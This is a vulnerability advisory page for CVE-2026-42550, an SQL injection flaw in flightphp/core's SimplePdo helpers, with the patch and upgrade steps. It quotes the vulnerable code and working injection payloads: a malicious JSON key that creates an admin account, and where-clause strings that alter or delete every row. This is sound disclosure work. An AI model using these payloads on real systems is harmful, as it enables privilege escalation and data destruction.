Loading...
Skip to main content

CVE-2026-42550 — Vulnerability in flightphp/core — CVE Details

HIGH

Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete

Published May 6, 2026Updated May 14, 2026Source: osv

Summary

### Summary `SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys. ### Affected code `flight/database/SimplePdo.php`: ```php // insert (≈ 320-373) $sql = sprintf( "INSERT INTO %s (%s) VALUES (%s)", $table, // raw concat implode(', ', $columns), // raw array_keys($data) implode(', ', $placeholders) ); // update (≈ 397-409) $sets[] = "$column = ?"; // $column = user-controlled key $sql = sprintf( "UPDATE %s SET %s WHERE %s", $table, // raw implode(', ', $sets), $where ); // delete (≈ 427-429) $sql = "DELETE FROM $table WHERE $where"; ``` No identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern. ### Proof of concept A controller does: ```php $db->insert('users', $request->data->getData()); ``` The attacker sends the JSON body: ```json {"name, is_admin) VALUES (?, 1);-- ": "attacker_injected"} ``` Generated SQL: ```sql INSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?) ``` After the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`. Reproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`): ``` id=1 name=alice is_admin=0 id=2 name=attacker_injected is_admin=1 <-- injected insert ``` `UPDATE` injection via the `$where` parameter was also reproduced: `$db->update('users', ['is_admin' => 1], "id = 1 OR 1=1")` flips admin on every row. ### Impact - **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request). - Arbitrary column write through `update()` keys. - Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.). ### Patch (fixed in `3.18.1`, commit `b8dd23a`) A new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely. ### Credit Discovered by **@Rootingg**.

Advisory Timeline

  • First published May 6, 2026 (159 days ago).
  • Last revised May 14, 2026 — 8 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update flightphp/core to 3.18.1 or later
composer require "flightphp/core:^3.18.1"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
flightphp/core
packagist
v1.0, v1.1, v1.1.10, v1.1.5 (+63 more)3.18.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-42550?
Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-42550?
CVE-2026-42550 affects flightphp/core. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42550 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-xwqr-rcqg-22mr

Related CVEs

  • CVE-2026-42548
    HIGH

    Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-61825
    HIGH

    code16/sharp has a stored XSS via data-html-content Sanitizer Bypass

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies